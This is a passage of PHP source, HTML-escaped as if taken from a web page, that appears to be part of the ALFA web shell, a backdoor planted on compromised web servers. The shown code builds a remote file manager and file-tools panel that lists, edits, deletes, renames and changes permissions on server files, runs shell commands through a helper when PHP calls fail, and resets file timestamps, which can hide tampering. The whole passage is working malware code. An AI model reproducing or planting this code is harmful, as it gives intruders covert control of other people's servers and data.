(int)$match&#91;2]);\n}\nif($alfa_files_page_number > ($files_page_count-1)){\n$alfa_files_page_number = 1;\n}\n$checkbox_rand = rand(11111, 99999);\necho \"&lt;form onsubmit='fc(this);return false;' name='files' method='post'>&lt;table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'>&lt;tr>&lt;th width='13px'>&lt;div class='myCheckbox' style='padding-left:0px;'>&lt;input type='checkbox' id='mchk\".$checkbox_rand.\"' onclick='checkBox(this);' class='chkbx'>&lt;label for='mchk\".$checkbox_rand.\"'>&lt;\/label>&lt;\/div>&lt;\/th>&lt;th>Name&lt;\/th>&lt;th>Size&lt;\/th>&lt;th>Modify&lt;\/th>&lt;th>Owner\/Group&lt;\/th>&lt;th>Permissions&lt;\/th>&lt;th>Actions&lt;\/th>&lt;\/tr>\";\n$dirs = $files = array();\n$n = $count_dirContent;\nif($n > $alfa_limited_files &amp;&amp; $alfa_limited_files > 0){\n$n = ($alfa_limited_files * $alfa_files_page_number);\nif($n > $count_dirContent){\n$n = $count_dirContent;\n}\n}\n$i = 0;\nif($alfa_limited_files > 0 &amp;&amp; $alfa_files_page_number > 1){\n$i = $alfa_limited_files * ($alfa_files_page_number - 1);\n}\n$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);\n$cmd_dir_backp = \"\";\nfor(;$i&lt;$n;$i++){\nif($cmd_dir){\n$filename = $dirContent&#91;$i]&#91;\"name\"];\n$file_owner = $dirContent&#91;$i]&#91;\"owner\"];\n$file_group = $dirContent&#91;$i]&#91;\"group\"];\n$file_modify = @date('Y-m-d H:i:s', $dirContent&#91;$i]&#91;\"modify\"]);\n$file_perm = alfaPermsColor(array(\"class\"=>$dirContent&#91;$i]&#91;\"permcolor\"],\"num\"=>$dirContent&#91;$i]&#91;\"permnum\"],\"human\"=>$dirContent&#91;$i]&#91;\"permhuman\"]),true);\n$file_size = $dirContent&#91;$i]&#91;\"size\"];\nif(substr($dirContent&#91;$i]&#91;\"name\"], 0 ,1) == \"\/\"){\n$file_path = $dirContent&#91;$i]&#91;\"name\"];\n$dirContent&#91;$i]&#91;\"name\"] = \"..\";\n$filename = $dirContent&#91;$i]&#91;\"name\"];\n}else{\n$file_path = $GLOBALS&#91;'cwd'].\"\/\".$dirContent&#91;$i]&#91;\"name\"];\n}\n}else{\n$filename = $dirContent&#91;$i];\n$ow = function_exists(\"posix_getpwuid\")&amp;&amp;function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($GLOBALS&#91;'cwd'].$filename)):array(\"name\" => \"????\");\n$gr = function_exists(\"posix_getgrgid\")&amp;&amp;function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($GLOBALS&#91;'cwd'].$filename)):array(\"name\" => \"????\");\n$file_owner = $ow&#91;'name']?$ow&#91;'name']:(function_exists(\"fileowner\")?@fileowner($GLOBALS&#91;'cwd'].$filename):\"????\");\n$file_group = $gr&#91;'name']?$gr&#91;'name']:(function_exists(\"filegroup\")?@filegroup($GLOBALS&#91;'cwd'].$filename):\"????\");\n$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS&#91;'cwd'] . $filename));\n$file_perm = alfaPermsColor($GLOBALS&#91;'cwd'].$filename);\n$file_size = @filesize($GLOBALS&#91;'cwd'].$filename);\n$file_path = $GLOBALS&#91;'cwd'].$filename;\n}\n$tmp = array('name' => $filename,\n'path' => $file_path,\n'modify' => $file_modify,\n'perms' => $file_perm,\n'size' => $file_size,\n'owner' => $file_owner,\n'group' => $file_group\n);\nif($filename == \"..\" &amp;&amp; !$cmd_dir){\n$tmp&#91;\"path\"] = str_replace(\"\\\\\", \"\/\", realpath($file_path));\n}\nif(!$cmd_dir){\nif(@is_file($file_path)){\n$arr_mrg = array('type' => 'file');\nif(@is_link($file_path)){\n$arr_mrg&#91;\"link\"] = readlink($tmp&#91;'path']);\n}\n$files&#91;] = array_merge($tmp, $arr_mrg);\n}elseif(@is_link($file_path)){\n$dirs&#91;] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp&#91;'path'])));\n}elseif(@is_dir($file_path)&amp;&amp; ($filename != \".\")){\n$dirs&#91;] = array_merge($tmp, array('type' => 'dir'));\n}\n}else{\nif($dirContent&#91;$i]&#91;\"type\"]==\"file\"){\n$files&#91;] = array_merge($tmp, array('type' => 'file'));\n}else{\nif($dirContent&#91;$i]&#91;\"name\"] != \".\"){\n$dirs&#91;] = array_merge($tmp, array('type' => 'dir'));\n}\n}\n}\n}\n$GLOBALS&#91;'sort'] = $sort;\nfunction alfaCmp($a, $b) {\nif($GLOBALS&#91;'sort']&#91;0] != 'size')\nreturn strcmp(strtolower($a&#91;$GLOBALS&#91;'sort']&#91;0]]), strtolower($b&#91;$GLOBALS&#91;'sort']&#91;0]]))*($GLOBALS&#91;'sort']&#91;1]?1:-1);\nelse\nreturn (($a&#91;'size'] &lt; $b&#91;'size']) ? -1 : 1)*($GLOBALS&#91;'sort']&#91;1]?1:-1);\n}\nusort($files, \"alfaCmp\");\nusort($dirs, \"alfaCmp\");\nif(isset($_COOKIE&#91;\"alfa_filesman_direction\"])&amp;&amp; !empty($_COOKIE&#91;\"alfa_filesman_direction\"])){\nif($_COOKIE&#91;\"alfa_filesman_direction\"] == 'desc'){\n$files = array_reverse($files);\n$dirs = array_reverse($dirs);\n}\n}\n$files = array_merge($dirs, $files);\n$l=0;\n$cc=0;\nforeach($files as $f){\n$f&#91;'name'] = htmlspecialchars($f&#91;'name']);\n$newname = mb_strlen($f&#91;'name'], 'UTF-8')>60?mb_substr($f&#91;'name'], 0, 60, 'utf-8').'...':$f&#91;'name'];\n$checkbox = 'checkbox_'.$checkbox_rand.$cc;\n$raw_name = rawurlencode($f&#91;'name']);\n$icon = $GLOBALS&#91;'DB_NAME']&#91;'show_icons']?'&lt;img src=\"'.findicon($f&#91;'name'],$f&#91;'type']).'\" width=\"30\" height=\"30\">':'';\n$style = $GLOBALS&#91;'DB_NAME']&#91;'show_icons']?'position:relative;display:inline-block;bottom:12px;':'';\necho '&lt;tr class=\"fmanager-row\" id=\"tr_row_'.$cc.'\">&lt;td>&lt;div class=\"myCheckbox\">&lt;input type=\"checkbox\" name=\"f&#91;]\" value=\"'.$raw_name.'\" class=\"chkbx\" id=\"'.$checkbox .'\">&lt;label for=\"'.$checkbox .'\">&lt;\/label>&lt;\/div>&lt;\/td>&lt;td id=\"td_row_'.$cc.'\">'.$icon.'&lt;div style=\"'.$style.'\">&lt;a row=\"'.$cc.'\" id=\"id_'.$cc.'\" class=\"main_name\" onclick=\"'.(($f&#91;'type']=='file')?'editor(\\''.$raw_name.'\\',\\'auto\\',\\'\\',\\'\\',\\'\\',\\''.$f&#91;'type'].'\\');\" href=\"#action=fileman&amp;path='.$GLOBALS&#91;'cwd'].'&amp;file='.$raw_name.'\" fname=\"'.$raw_name.'\" ftype=\"file\" path=\"'.$GLOBALS&#91;'cwd'].'\" opt_title=\"'.$f&#91;'link'].'\" '.(isset($f&#91;'link'])?'onmouseover=\"showSymlinkPath(this,event);\" onmouseout=\"hideSymlinkPath(this,event);\"':'').'>'.($GLOBALS&#91;'cwd'].$f&#91;'name']==$GLOBALS&#91;'__file_path']?\"&lt;span class='shell_name' style='font-weight:unset;'>\".$f&#91;'name'].\"&lt;\/span>\":htmlspecialchars($newname)):'g(\\'FilesMan\\',\\''.$f&#91;'path'].'\\');\" href=\"#action=fileman&amp;path='.$f&#91;'path'].'\" fname=\"'.$raw_name.'\" ftype=\"folder\" path=\"'.$GLOBALS&#91;'cwd'].'\" opt_title=\"'.$f&#91;'link'].'\" '.(isset($f&#91;'link'])?'onmouseover=\"showSymlinkPath(this,event);\" onmouseout=\"hideSymlinkPath(this,event);\"':'').'>&lt;b>| ' . htmlspecialchars($f&#91;'name']) . ' |&lt;\/b>').'&lt;\/a>&lt;\/td>&lt;\/div>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_size\">'.(($f&#91;'type']=='file')?(isset($f&#91;'link'])?'&#91;L] ':'').alfaSize($f&#91;'size']):$f&#91;'type']).'&lt;\/span>&lt;\/td>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_modify\">'.$f&#91;'modify'].'&lt;\/span>&lt;\/td>&lt;td>&lt;span style=\"font-weight:unset;\" class=\"main_owner_group\">'.$f&#91;'owner'].'\/'.$f&#91;'group'].'&lt;\/span>&lt;\/td>&lt;td>&lt;a id=\"id_chmode_'.$cc.'\" href=javascript:void(0) onclick=\"editor(\\''.$raw_name.'\\',\\'chmod\\',\\'\\',\\'\\',\\'\\',\\''.$f&#91;'type'].'\\')\">'.\n$f&#91;'perms'].'&lt;\/td>&lt;td>&lt;a id=\"id_rename_'.$cc.'\" title=\"Rename\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'rename\\',\\'\\',\\'\\',\\'\\',\\''.$f&#91;'type'].'\\')\">R&lt;\/a> &lt;a id=\"id_touch_'.$cc.'\" title=\"Modify Datetime\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'touch\\',\\'\\',\\'\\',\\'\\',\\''.$f&#91;'type'].'\\')\">T&lt;\/a>'.(($f&#91;'type']=='file')?' &lt;a id=\"id_edit_'.$cc.'\" class=\"actions\" title=\"Edit\" href=\"javascript:void(0);\" onclick=\"editor(\\''.$raw_name.'\\', \\'edit\\',\\'\\',\\'\\',\\'\\',\\''.$f&#91;'type'].'\\')\">E&lt;\/a> &lt;a id=\"id_download_'.$cc.'\" title=\"Download\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"g(\\'FilesTools\\',null,\\''.$raw_name.'\\', \\'download\\')\">D&lt;\/a>':'').'&lt;a id=\"id_delete_'.$cc.'\" title=\"Delete\" class=\"actions\" href=\"javascript:void(0);\" onclick=\"var chk = confirm(\\'Are You Sure For Delete # '.addslashes(rawurldecode($f&#91;'name'])).' # ?\\'); chk ? g(\\'FilesMan\\',null,\\'delete\\', \\''.$raw_name.'\\') : \\'\\';\"> X &lt;\/a>&lt;\/td>&lt;\/tr>';\n$l = $l?0:1;\n$cc++;\n}\necho \"&lt;tr id='filemanager_last_tr'>&lt;td colspan=7>\n&lt;input type=hidden name=a value='FilesMan'>\n&lt;input type=hidden name=c value='\".htmlspecialchars(($GLOBALS&#91;'glob_chdir_false']?$_POST&#91;'c']:$GLOBALS&#91;'cwd'])).\"'>\n&lt;input type=hidden name=charset value='\". (isset($_POST&#91;'charset'])?$_POST&#91;'charset']:'').\"'>\n&lt;select id='tools_selector' name='alfa1'>&lt;option value='copy'>Copy&lt;\/option>&lt;option value='move'>Move&lt;\/option>&lt;option value='delete' selected>Delete&lt;\/option>&lt;option value='zip'>Add 2 Compress (zip)&lt;\/option>&lt;option value='unzip'>Add 2 Uncompress (zip)&lt;\/option>&lt;option value='paste'>Paste&lt;\/option>&lt;\/select>\n&lt;input type='submit' value='>>'>\n&lt;\/form>&lt;\/table>&lt;div class='pages-holder'>&lt;div class='pages-number'>\".$page_builder.\"&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>\";\nalfafooter();\n}\nfunction get_pagination_links($current_page, $total_pages){\n$links = \"\";\nif ($total_pages >= 1 &amp;&amp; $current_page &lt;= $total_pages) {\n$links .= \"&lt;a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\\\">&lt;&lt;&lt;\/a>\";\n$selected_page = \"\";\nif($current_page == 1){\n$selected_page = \" active-page-number\";\n}\n$links .= \"&lt;a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">1&lt;\/a>\";\n$i = max(2, $current_page - 5);\nif ($i > 2)\n$links .= \"&lt;a class=\\\"page-number\\\">...&lt;\/a>\";\nfor (; $i &lt; min($current_page + 6, $total_pages); $i++) {\nif($i == $current_page){\n$selected_page = \" active-page-number\";\n}else{\n$selected_page = \"\";\n}\n$links .= \"&lt;a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">{$i}&lt;\/a>\";\n}\nif ($i != $total_pages)\n$links .= \"&lt;a class=\\\"page-number\\\">...&lt;\/a>\";\n$selected_page = \" last-page-number\";\nif($current_page == $total_pages){\n$selected_page .= \" active-page-number\";\n}\n$links .= \"&lt;a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\".$selected_page.\"\\\">{$total_pages}&lt;\/a>\";\n$links .= \"&lt;a onclick=\\\"pageChangedFilesMan(this);\\\" class=\\\"page-number\\\">>>&lt;\/a>\";\n}\nreturn $links;\n}\nfunction alfaFilesTools(){\nalfahead();\necho '&lt;div class=\"filestools\" style=\"height: 100%;\">';\nif(isset($_POST&#91;'alfa1']))$_POST&#91;'alfa1'] = rawurldecode($_POST&#91;'alfa1']);\n$alfa1_decoded = $_POST&#91;'alfa1'];\n$chdir_fals = false;\nif(!@chdir($_POST&#91;'c'])){\n$chdir_fals = true;\n$_POST&#91;'alfa1'] = $_POST&#91;\"c\"].\"\/\".$_POST&#91;\"alfa1\"];\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\nif($alfa_canruncmd){\n$slashed_alfa1 = addslashes($_POST&#91;'alfa1']);\n$file_info = explode(\":\", alfaEx('stat -c \"%F:%U:%G:%s:%Y:0%a:%A\" \"'.$slashed_alfa1.'\"'));\n$perm_color_class = alfaEx(\"if &#91;&#91; -w '\".$slashed_alfa1.\"' ]]; then echo main_green_perm; elif &#91;&#91; -r '\".$slashed_alfa1.\"' ]]; then echo main_white_perm; else echo main_red_perm; fi\");\n}\n}\nif($_POST&#91;'alfa2'] == 'auto'){\nif(is_array(@getimagesize($_POST&#91;'alfa1']))){\n$_POST&#91;'alfa2'] = 'image';\n}else{\n$_POST&#91;'alfa2'] = 'view';\nif($chdir_fals){\nif($alfa_canruncmd){\n$mime = explode(\":\", alfaEx(\"file --mime-type '\".addslashes($_POST&#91;'alfa1']).\"'\"));\n$mimetype = $mime&#91;1];\nif(!empty($mimetype)){\nif(strstr($mimetype, \"image\")){\n$_POST&#91;'alfa2'] = 'image';\n}\n}\n}\n}\n}\n}\nif($_POST&#91;'alfa2'] == \"rename\" &amp;&amp; !empty($_POST&#91;'alfa3']) &amp;&amp; @is_writable($_POST&#91;'alfa1'])){$rename_cache = $_POST&#91;'alfa3'];}\nif(@$_POST&#91;'alfa2'] == 'mkfile'){\n$_POST&#91;'alfa1'] = trim($_POST&#91;'alfa1']);\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nif(_alfa_is_writable($_POST&#91;\"c\"])){\nalfaEx(\"cd '\".addslashes($_POST&#91;\"c\"]).\"';touch '\".addslashes($alfa1_decoded).\"'\");\n$_POST&#91;'alfa2'] = \"edit\";\n}\n}\nif(!@file_exists($_POST&#91;'alfa1'])){\n$fp = @fopen($_POST&#91;'alfa1'], 'w');\nif($fp){\n$_POST&#91;'alfa2'] = \"edit\";\nfclose($fp);\n}\n}else{\n$_POST&#91;'alfa2'] = \"edit\";\n}\n}\nif(!_alfa_file_exists(@$_POST&#91;'alfa1'])){\necho __pre().\"&lt;center>&lt;p>&lt;div class=\\\"txtfont\\\">&lt;font color='red'>!...FILE DOEST NOT EXITS...!&lt;\/font>&lt;\/div>&lt;\/p>&lt;\/center>&lt;\/div>&lt;script>editor_error=false;removeHistory('\".$_POST&#91;'alfa4'].\"');&lt;\/script>\";\nalfaFooter();\nreturn;\n}\nif($chdir_fals){\n$filesize = $file_info&#91;3];\n$uid&#91;\"name\"] = $file_info&#91;1];\n$gid&#91;\"name\"] = $file_info&#91;2];\n$permcolor = alfaPermsColor(array(\"class\"=>$perm_color_class,\"num\"=>$file_info&#91;5],\"human\"=>$file_info&#91;6]),true);\n}else{\n$uid = function_exists(\"posix_getpwuid\")&amp;&amp;function_exists(\"fileowner\")?@posix_getpwuid(@fileowner($_POST&#91;'alfa1'])):'';\n$gid = function_exists(\"posix_getgrgid\")&amp;&amp;function_exists(\"filegroup\")?@posix_getgrgid(@filegroup($_POST&#91;'alfa1'])):'';\nif(!$uid&amp;&amp;!$gid){\n$uid&#91;'name'] = function_exists(\"fileowner\")?@fileowner($_POST&#91;'alfa1']):'';\n$gid&#91;'name'] = function_exists(\"filegroup\")?@filegroup($_POST&#91;'alfa1']):'';\n}\n$permcolor = alfaPermsColor($_POST&#91;'alfa1']);\n$filesize = @filesize($_POST&#91;'alfa1']);\nif(!isset($uid&#91;'name'],$gid&#91;'name'])||empty($uid&#91;'name'])||empty($gid&#91;'name'])){\nif(_alfa_can_runCommand()){\nlist($uid&#91;'name'],$gid&#91;'name']) = explode(\":\", alfaEx('stat -c \"%U:%G\" \"'.addslashes($_POST&#91;\"c\"].\"\/\".$_POST&#91;\"alfa1\"]).'\"'));\n}\n}\n}\nif(substr($_POST&#91;'alfa1'], 0, 7) == \"phar:\/\/\"){\n$alfa_file_directory = $_POST&#91;'alfa1'];\n}else{\n$alfa_file_directory = str_replace(\"\/\/\", \"\/\",($chdir_fals?\"\":$_POST&#91;'c'].'\/').$_POST&#91;'alfa1']);\n}\necho '&lt;div style=\"overflow: hidden;white-space: nowrap;text-overflow: ellipsis;\">&lt;span class=\"editor_file_info_vars\">Name:&lt;\/span> '.htmlspecialchars(basename($alfa1_decoded)).' &lt;span class=\"editor_file_info_vars\">Size:&lt;\/span> '.alfaSize($filesize).' &lt;span class=\"editor_file_info_vars\">Permission:&lt;\/span> '.$permcolor.' &lt;span class=\"editor_file_info_vars\">Owner\/Group:&lt;\/span> '.$uid&#91;'name'].'\/'.$gid&#91;'name'].' &lt;span class=\"editor_file_info_vars\">Directory:&lt;\/span> '.dirname($alfa_file_directory).'&lt;\/div>';\nif(empty($_POST&#91;'alfa2']))$_POST&#91;'alfa2'] = 'view';\nif(!_alfa_is_dir($_POST&#91;'alfa1'])){\n$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');\n$ftype = \"file\";\n}else{\n$m = array('Chmod', 'Rename', 'Touch');\n$ftype = \"dir\";\n}\necho('&lt;div>');\nforeach($m as $v)\necho $v == 'Delete' ? '&lt;a href=\"javascript:void(0);\" onclick=\"var chk=confirm(\\'Are You Sure For Delete This File ?\\');chk?editor(\\''.addslashes(!isset($rename_cache)?$_POST&#91;'alfa1']:$rename_cache).'\\',\\''.strtolower($v).'\\',\\'\\',\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\'):\\'\\';\">&lt;span class=\"editor_actions\">'.((strtolower($v)==@$_POST&#91;'alfa2'])?'&lt;b>&lt;span class=\"editor_actions\"> '.$v.' &lt;\/span> &lt;\/b>':$v).' | &lt;\/span>&lt;\/a> ' : '&lt;a href=\"javascript:void(0);\" onclick=\"editor(\\''.addslashes(!isset($rename_cache)?$_POST&#91;'alfa1']:$rename_cache).'\\',\\''.strtolower($v).'\\',\\'\\',\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\')\">&lt;span class=\"editor_actions\">'.((strtolower($v)==@$_POST&#91;'alfa2'])?'&lt;b>&lt;span class=\"editor_actions\"> '.$v.' &lt;\/span> &lt;\/b>':$v).' | &lt;\/span>&lt;\/a>';\necho '&lt;\/div>';\nswitch($_POST&#91;'alfa2']){\ncase 'view':case 'edit':\n@chdir($_POST&#91;'c']);\n$disabled_btn = \"\";\nif(!@is_writable($_POST&#91;'alfa1'])&amp;&amp;!_alfa_is_writable($_POST&#91;'alfa1'])){\n$disabled_btn = \"disabled=disabled\";\n$disabled_btn_style= 'background: #ff0000;color: #fff;';\n}\nif(!empty($_POST&#91;'alfa3'])){\n$_POST&#91;'alfa3'] = substr($_POST&#91;'alfa3'],1);\n$time = @filemtime($_POST&#91;'alfa1']);\n$fp = @__write_file($_POST&#91;'alfa1'],$_POST&#91;'alfa3']);\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\n$rname = $alfa1_decoded;\n$randname = $rname.rand(111,9999);\n$filepath = dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]).\"\/\".$randname;\nif($fp = @__write_file($filepath ,$_POST&#91;'alfa3'])){\nalfaEx(\"mv '\".addslashes($filepath).\"' '\".addslashes($_POST&#91;\"alfa1\"]).\"';rm -f '\".addslashes($filepath).\"'\");\n}\n}\nif($fp){\necho 'Saved!&lt;br>';\n@touch($_POST&#91;'alfa1'],$time,$time);\n}\n}\necho '&lt;div class=\"editor-view\">&lt;div class=\"view-content editor-ace-controller\">&lt;div style=\"display:inline-block;\">'._alfa_load_ace_options(\"editor\").'&lt;button style=\"border-radius:10px;\" class=\"button ace-controler\" onClick=\"copyToClipboard(this);\">Copy&lt;\/button> &lt;button class=\"button ace-controler\" onclick=\"alfaAceToFullscreen(this);\">Full Screen&lt;\/button> &lt;button onclick=\"var ace_val = alfa_ace_editors.editor&#91;this.getAttribute(\\'ace_id\\')].getValue();editor(\\''.addslashes($alfa1_decoded).'\\',\\'edit\\',\\'1\\'+ace_val,\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\');return false;\" class=\"button ace-controler ace-save-btn\" style=\"width: 100px;height: 33px;'.$disabled_btn_style.'\" '.$disabled_btn.'>save&lt;\/button>&lt;\/div>&lt;pre class=\"ml1 view_ml_content\">';\necho htmlspecialchars(__read_file($_POST&#91;'alfa1']));\necho '&lt;\/pre>&lt;\/div>&lt;\/div>';\nbreak;\ncase 'highlight':\n@chdir($_POST&#91;'c']);\nif(@is_readable($_POST&#91;'alfa1'])){\necho '&lt;div class=\"editor-view\">&lt;div class=\"view-content\">&lt;div class=\"ml1\" style=\"background-color: #e1e1e1;color:black;\">';\n$code = @highlight_file($_POST&#91;'alfa1'],true);\necho str_replace(array('&lt;span ','&lt;\/span>'), array('&lt;font ','&lt;\/font>'),$code).'&lt;\/div>&lt;\/div>&lt;\/div>';\n}\nbreak;\ncase 'delete':\n@chdir($_POST&#91;'c']);\nif(@is_writable($_POST&#91;'alfa1'])||$GLOBALS&#91;\"glob_chdir_false\"]){\n$deleted = true;\nif(!@unlink($_POST&#91;'alfa1'])){\n$deleted = false;\nif($alfa_canruncmd){\nif(_alfa_is_writable($_POST&#91;'alfa1'])){\nalfaEx(\"rm -f '\".addslashes($_POST&#91;'alfa1']).\"'\");\n$deleted = true;\n}\n}\n}\nif($deleted)echo 'File Deleted...&lt;script>var elem = $(\"'.$_POST&#91;'alfa4'].'\").parentNode;elem.parentNode.removeChild(elem);delete editor_files&#91;\"'.$_POST&#91;'alfa4'].'\"];&lt;\/script>';else echo 'Error...';}\nbreak;\ncase 'chmod':\n@chdir($_POST&#91;'c']);\nif(!empty($_POST&#91;'alfa3'])){\n$perms = 0;\nfor($i=strlen($_POST&#91;'alfa3'])-1;$i>=0;--$i)\n$perms += (int)$_POST&#91;'alfa3']&#91;$i]*pow(8, (strlen($_POST&#91;'alfa3'])-$i-1));\nif(!@chmod($_POST&#91;'alfa1'], $perms)){\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nalfaEx(\"cd '\".addslashes($_POST&#91;\"c\"]).\"';chmod \".addslashes($_POST&#91;'alfa3']).\" '\".addslashes($alfa1_decoded).\"'\");\necho('Success!');\n}else{\necho '&lt;font color=\"#FFFFFF\">&lt;b>Can\\'t set permissions!&lt;\/b>&lt;\/font>&lt;br>&lt;script>document.mf.alfa3.value=\"\";&lt;\/script>';}\n}else{echo('Success!');}\n}\nclearstatcache();\nAlfaNum(8,9,10,7,6,5,4,2,1);\nif($chdir_fals){\n$file_perm = $file_info&#91;5];\n}else{\n$file_perm = substr(sprintf('%o', @fileperms($_POST&#91;'alfa1'])),-4);\n}\necho '&lt;script>alfa3_=\"\";&lt;\/script>&lt;form onsubmit=\"editor(\\''.addslashes($_POST&#91;'alfa1']).'\\',\\''.$_POST&#91;'alfa2'].'\\',this.chmod.value,\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\');return false;\">&lt;input type=\"text\" name=\"chmod\" value=\"'.$file_perm.'\">&lt;input type=submit value=\" \">&lt;\/form>';\nbreak;\ncase 'hexdump':\n@chdir($_POST&#91;'c']);\n$c = __read_file($_POST&#91;'alfa1']);\n$n = 0;\n$h = array('00000000&lt;br>','','');\n$len = strlen($c);\nfor ($i=0; $i&lt;$len; ++$i) {\n$h&#91;1] .= sprintf('%02X',ord($c&#91;$i])).' ';\nswitch ( ord($c&#91;$i]) ) {\ncase 0: $h&#91;2] .= ' '; break;\ncase 9: $h&#91;2] .= ' '; break;\ncase 10: $h&#91;2] .= ' '; break;\ncase 13: $h&#91;2] .= ' '; break;\ndefault: $h&#91;2] .= $c&#91;$i]; break;\n}\n$n++;\nif ($n == 32) {\n$n = 0;\nif ($i+1 &lt; $len) {$h&#91;0] .= sprintf('%08X',$i+1).'&lt;br>';}\n$h&#91;1] .= '&lt;br>';\n$h&#91;2] .= \"\\n\";\n}\n}\necho '&lt;div class=\"editor-view\">&lt;div class=\"view-content\">&lt;table cellspacing=1 cellpadding=5 bgcolor=black>&lt;tr>&lt;td bgcolor=gray>&lt;span style=\"font-weight: normal;\">&lt;pre>'.$h&#91;0].'&lt;\/pre>&lt;\/span>&lt;\/td>&lt;td bgcolor=#282828>&lt;pre>'.$h&#91;1].'&lt;\/pre>&lt;\/td>&lt;td bgcolor=#333333>&lt;pre>'.htmlspecialchars($h&#91;2]).'&lt;\/pre>&lt;\/td>&lt;\/tr>&lt;\/table>&lt;\/div>&lt;\/div>';\nbreak;\ncase 'rename':\n@chdir($_POST&#91;'c']);\n$alfa1_escape = addslashes($_POST&#91;\"alfa1\"]);\n$alfa3_escape = addslashes($_POST&#91;\"alfa3\"]);\nif(!empty($_POST&#91;'alfa3'])){\n$cmd_rename = false;\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nif(_alfa_is_writable($_POST&#91;'alfa1'])){\n$alfa1_escape = addslashes($alfa1_decoded);\nalfaEx(\"cd '\".addslashes($_POST&#91;'c']).\"';mv '\".$alfa1_escape.\"' '\".addslashes($_POST&#91;'alfa3']).\"'\");\n}else{\n$cmd_rename = true;\n}\n}else{\n$alfa1_escape = addslashes($_POST&#91;\"alfa1\"]);\n}\nif(!@rename($_POST&#91;'alfa1'], $_POST&#91;'alfa3'])&amp;&amp;$cmd_rename){\necho 'Can\\'t rename!&lt;br>';}else{echo('Renamed!&lt;script>try{$(\"'.$_POST&#91;'alfa4'].'\").innerHTML = \"&lt;div class=\\'editor-icon\\'>\"+loadType(\\''.$alfa3_escape.'\\',\\''.$ftype.'\\',\\''.$_POST&#91;'alfa4'].'\\')+\"&lt;\/div>&lt;div class=\\'editor-file-name\\'>'.$alfa3_escape.'&lt;\/div>\";editor_files&#91;\"'.$_POST&#91;'alfa4'].'\"].file = \"'.$alfa3_escape.'\";updateFileEditor(\"'.$alfa1_escape.'\", \"'.$alfa3_escape.'\");'.($ftype == \"dir\"?\"updateDirsEditor('\".$_POST&#91;'alfa4'].\"','\".$alfa1_escape.\"');\":\"\").'}catch(e){console.log(e)}&lt;\/script>');$alfa1_escape = $alfa3_escape;}\n}\necho '&lt;form onsubmit=\"editor(\\''.$alfa1_escape.'\\',\\''.$_POST&#91;'alfa2'].'\\',this.name.value,\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\');return false;\">&lt;input type=\"text\" name=\"name\" value=\"'.addslashes(htmlspecialchars(isset($_POST&#91;'alfa3'])&amp;&amp;$_POST&#91;'alfa3']!=''?$_POST&#91;'alfa3']:$alfa1_decoded)).'\">&lt;input type=submit value=\" \">&lt;\/form>';\nbreak;\ncase 'touch':\n@chdir($_POST&#91;'c']);\nif( !empty($_POST&#91;'alfa3']) ) {\n$time = strtotime($_POST&#91;'alfa3']);\nif($time){\n$touched = false;\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nalfaEx(\"cd '\".addslashes($_POST&#91;\"c\"]).\"';touch -d '\".htmlspecialchars(addslashes($_POST&#91;'alfa3'])).\"' '\".addslashes($alfa1_decoded).\"'\");\n$touched = true;\n}\nif(!@touch($_POST&#91;'alfa1'],$time,$time)&amp;&amp;!$touched)\necho 'Fail!';\nelse\necho 'Touched!';\n} else echo 'Bad time format!';\n}\nclearstatcache();\necho '&lt;script>alfa3_=\"\";&lt;\/script>&lt;form onsubmit=\"editor(\\''.addslashes($_POST&#91;'alfa1']).'\\',\\''.$_POST&#91;'alfa2'].'\\',this.touch.value,\\''.$_POST&#91;'c'].'\\',\\''.$_POST&#91;'alfa4'].'\\',\\''.$ftype.'\\');return false;\">&lt;input type=text name=touch value=\"'.date(\"Y-m-d H:i:s\", ($chdir_fals?$file_info&#91;4]:@filemtime($_POST&#91;'alfa1']))).'\">&lt;input type=submit value=\" \">&lt;\/form>';\nbreak;\ncase 'image':\n@chdir($_POST&#91;'c']);\necho('&lt;hr>');\n$file = $_POST&#91;'alfa1'];\n$image_info = @getimagesize($file);\nif(is_array($image_info)||$chdir_fals){\n$width = (int)$image_info&#91;0];\n$height = (int)$image_info&#91;1];\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\n$source = alfaEx(\"cat '\".addslashes($file).\"' | base64\");\nlist($width, $height) = explode(\":\", alfaEx(\"identify -format '%w:%h' '\".addslashes($file).\"'\"));\n$mime = explode(\":\", alfaEx(\"file --mime-type '\".addslashes($file).\"'\"));\n$image_info&#91;'mime'] = $mime&#91;1];\n}else{\n$source = __ZW5jb2Rlcg(__read_file($file, false));\n}\n$image_info_h = \"Image type = &lt;span>&#91;&lt;\/span> \".$image_info&#91;'mime'].\" &lt;span>]&lt;\/span>&lt;br>Image Size = &lt;span>&#91; 